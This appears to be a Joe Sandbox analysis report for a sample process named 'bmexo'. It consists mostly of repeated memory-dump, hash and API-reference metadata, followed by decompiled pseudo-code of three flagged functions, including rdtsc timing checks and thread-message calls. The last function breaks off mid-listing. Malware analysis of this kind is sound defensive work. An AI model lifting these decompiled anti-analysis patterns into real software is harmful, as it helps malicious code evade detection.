Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction ID: 3a645d05db048e5a2937cf36c3d58d647fc753ae06e93f94360992995f7f05c0
Opcode Fuzzy Hash: e361fdd744b37e572f0fb281d5ba342fdf237642d1eded7d2c73f776bcbc3673
Instruction Fuzzy Hash: 2AB012B1504640C7F304F704D905B16B212FBD0F00F408938A14F86591D73DAD2CC78B

Uniqueness

Uniqueness Score: -1.00%

Function 009A07AC Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 009A07B7

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction ID: cdb92b4df541c6703467cf01e2fb590a315ac15b2f911c24ec3250dccee83ae6
Opcode Fuzzy Hash: 154562b1c1044579d2961e918a12e94c940bf0a0b9e8e44222bba29e99ad0489
Instruction Fuzzy Hash: 64B01272200540C7E3099724D906B4B7310FB80F00F008D3AE04781892DB78992CD487

Uniqueness

Uniqueness Score: -1.00%

Function 0099F9F0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099F9FB

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction ID: 864711eabb7dc0f9c0a00528bc7204798e3bbfe8ecaf20bba7921b9fd7ea0c89
Opcode Fuzzy Hash: 14ba51ac3c4685a444062647e83330cf6da9a5db4e41c8a362ae144bb3555ef6
Instruction Fuzzy Hash: B8B012B2200640C7F3199714D90AF4BB310FBD0F00F00CA3AA00781890DA3C992CC44A

Uniqueness

Uniqueness Score: -1.00%

Function 0099F900 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099F90E

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction ID: 05ac91611fc184a3f88202f4b9a2f722369f22817df951cee1fa85cf63676e78
Opcode Fuzzy Hash: 8dbcbf5a4d7b7f1c08d6b628364f414bd548082eea0b37b51084cc01ff771fa2
Instruction Fuzzy Hash: A2B01272605540C7F30ADB04D915B467251FBC0F00F408934E50746590D77D9E38D587

Uniqueness

Uniqueness Score: -1.00%

Function 0099FAD0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099FADB

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 0099FAE8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099FAF3

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 0099FBB8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099FBC3

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction ID: 98b7ab4c3374ce945d87304c272764997da5ea40185bb6170513ade09291bf69
Opcode Fuzzy Hash: 7ba0f55f1fd72216c7a5d20d06c619025faf51988f765d7a98e58a350c3ee9ce
Instruction Fuzzy Hash: 97B012721005C4C7E30D9714D906B8F7210FB80F00F00893AA40782861DB789A2CE45A

Uniqueness

Uniqueness Score: -1.00%

Function 0099FB68 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099FB73

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction ID: fe3894545e6d7ff35e2d014bd1b41c27fc981d7cba2425ddd0908e3dd582fca9
Opcode Fuzzy Hash: 9be46aa23fef74e92aa7046bff19981ac9c85faae99787f44d25aa72a03369f2
Instruction Fuzzy Hash: 17B01272100544C7E3099714D906B8B7210FB80F00F008E3AA04782991DB78992DE446

Uniqueness

Uniqueness Score: -1.00%

Function 0099FC90 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099FC9B

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction ID: 41c45e5f09b42d6e0ddb2dc3248e04f5cc5ab51982cd1fe1d329002f24c15819
Opcode Fuzzy Hash: c03c3f025ade335fb37a3227fdd9bdec0ce29723ea859b950f344d641557639d
Instruction Fuzzy Hash: 14B01272104580C7E349AB14D90AB5BB210FB90F00F40893AE04B81850DA3C992CC546

Uniqueness

Uniqueness Score: -1.00%

Function 0099FC60 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099FC6B

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 0099FD8C Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099FD9A

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 0099FDC0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099FDCB

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 0099FEA0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099FEAB

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction ID: c5322eb374cbfb3adeb08d178b54e1ae74a7d58a0408861c097d1ba4bd942992
Opcode Fuzzy Hash: 6032af2d0d5c3e144073b0b78b369b1f4db831bf511812c370cfa36f16aa84fd
Instruction Fuzzy Hash: 0DB01272200640C7F31A9714D906F4B7210FB80F00F00893AA007C19A1DB389A2CD556

Uniqueness

Uniqueness Score: -1.00%

Function 0099FED0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099FEDB

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 0099FFB4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 0099FFBF

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 00408ED0 Relevance: .1, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00408ED0(intOrPtr _a4) {
				intOrPtr _v8;
				char _v24;
				char _v284;
				char _v804;
				char _v840;
				void* _t24;
				void* _t31;
				void* _t33;
				void* _t34;
				void* _t39;
				void* _t50;
				intOrPtr _t52;
				void* _t53;
				void* _t54;
				void* _t55;
				void* _t56;

				_t52 = _a4;
				_t39 = 0; // executed
				_t24 = E00407210(_t52,  &_v24); // executed
				_t54 = _t53 + 8;
				if(_t24 != 0) {
					E00407420( &_v24,  &_v840);
					_t55 = _t54 + 8;
					do {
						E0041BF30( &_v284, 0x104);
						E0041C5A0( &_v284,  &_v804);
						_t56 = _t55 + 0x10;
						_t50 = 0x4f;
						while(1) {
							_t31 = E00415A40(E004159E0(_t52, _t50),  &_v284);
							_t56 = _t56 + 0x10;
							if(_t31 != 0) {
								break;
							}
							_t50 = _t50 + 1;
							if(_t50 <= 0x62) {
								continue;
							} else {
							}
							goto L9;
						}
						_t9 = _t52 + 0x18; // 0x5e14c483
						 *(_t52 + 0x478) =  *(_t52 + 0x478) ^  *_t9;
						_t39 = 1;
						L9:
						_t33 = E00407450( &_v24,  &_v840);
						_t55 = _t56 + 8;
					} while (_t33 != 0 && _t39 == 0);
					_t34 = E004074D0(_t52,  &_v24); // executed
					if(_t39 == 0) {
						asm("rdtsc");
						asm("rdtsc");
						_v8 = _t34 - 0 + _t34;
						 *((intOrPtr*)(_t52 + 0x560)) =  *((intOrPtr*)(_t52 + 0x560)) + 0xffffffba;
					}
					 *((intOrPtr*)(_t52 + 0x35)) =  *((intOrPtr*)(_t52 + 0x35)) + _t39;
					_t20 = _t52 + 0x35; // 0xffff43e8
					 *((intOrPtr*)(_t52 + 0x36)) =  *((intOrPtr*)(_t52 + 0x36)) +  *_t20 + 1;
					return 1;
				} else {
					return _t24;
				}
			}

0x00408edb
0x00408ee3
0x00408ee5
0x00408eea
0x00408eef
0x00408f02
0x00408f07
0x00408f10
0x00408f1c
0x00408f2f
0x00408f34
0x00408f37
0x00408f40
0x00408f52
0x00408f57
0x00408f5c
0x00000000
0x00000000
0x00408f5e
0x00408f62
0x00000000
0x00000000
0x00408f64
0x00000000
0x00408f62
0x00408f66
0x00408f69
0x00408f6f
0x00408f71
0x00408f7c
0x00408f81
0x00408f84
0x00408f91
0x00408f9c
0x00408f9e
0x00408fa4
0x00408fa8
0x00408fab
0x00408fab
0x00408fb2
0x00408fb5
0x00408fba
0x00408fc7
0x00408ef6
0x00408ef6
0x00408ef6

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b77683e0dbd8a0247fb8733bf576a5c0d80217aef466204e60f60e1be2e19e6b
Instruction ID: 911db63d92bb27313539f87812f39d7602e647c51c5309350fa93bcc7f5e98a2
Opcode Fuzzy Hash: b77683e0dbd8a0247fb8733bf576a5c0d80217aef466204e60f60e1be2e19e6b
Instruction Fuzzy Hash: 8F210C72D4020957CB24D6749D42AFB73ACAB54314F44057FF989A3181FA38BB8987A6

Uniqueness

Uniqueness Score: -1.00%

Function 00407679 Relevance: 1.6, APIs: 1, Instructions: 58
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E00407679(void* __eax, void* __edx, void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t14;
				int _t15;
				long _t23;
				int _t28;
				void* _t31;
				void* _t33;
				void* _t38;

				_t38 = __eflags;
				asm("adc ch, ch");
				asm("cdq");
				asm("sbb [ebx-0x7c1374ab], al");
				_t31 = _t33;
				_v68 = 0;
				E0041BF80( &_v67, 0, 0x3f);
				E0041CB60( &_v68, 3);
				_t14 = E0040A140(_t38, _a4 + 0x20,  &_v68); // executed
				_t15 = E00415AA0( &_v68, _a4 + 0x20, _t14, 0, 0, 0xc4e7b6d6);
				_t28 = _t15;
				if(_t28 != 0) {
					_t23 = _a8;
					_t15 = PostThreadMessageW(_t23, 0x111, 0, 0); // executed
					_t40 = _t15;
					if(_t15 == 0) {
						_t15 =  *_t28(_t23, 0x8003, _t31 + (E004098A0(_t40, 1, 8) & 0x000000ff) - 0x40, _t15);
					}
				}
				return _t15;
			}

0x00407679
0x00407679
0x0040767b
0x0040767e
0x00407681
0x0040768f
0x00407693
0x0040769e
0x004076ae
0x004076be
0x004076c3
0x004076ca
0x004076cd
0x004076da
0x004076dc
0x004076de
0x004076fb
0x004076fb
0x004076fd
0x00407702

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004076DA

Memory Dump Source

Source File: 00000006.00000002.1050273447.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_bmexo.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: b1daca92d2074d12ecf6724030487195ec83ba286d0b60fa55f33f4f6033f87f
Instruction ID: a06e9c7ab8d2383a5806d67121bdd3b07c7950fca96f9adb7fb60e51f498fcf2
Opcode Fuzzy Hash: b1daca92d2074d12ecf6724030487195ec83ba286d0b60fa55f33f4f6033f87f
Instruction Fuzzy Hash: 0D01B931A902187AE72096959C42FFE671C9F45B54F04011EFE04FA1C1D6AD690647E9

Uniqueness

Uniqueness Score: -1.00%

Function 00407680 Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00407680(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
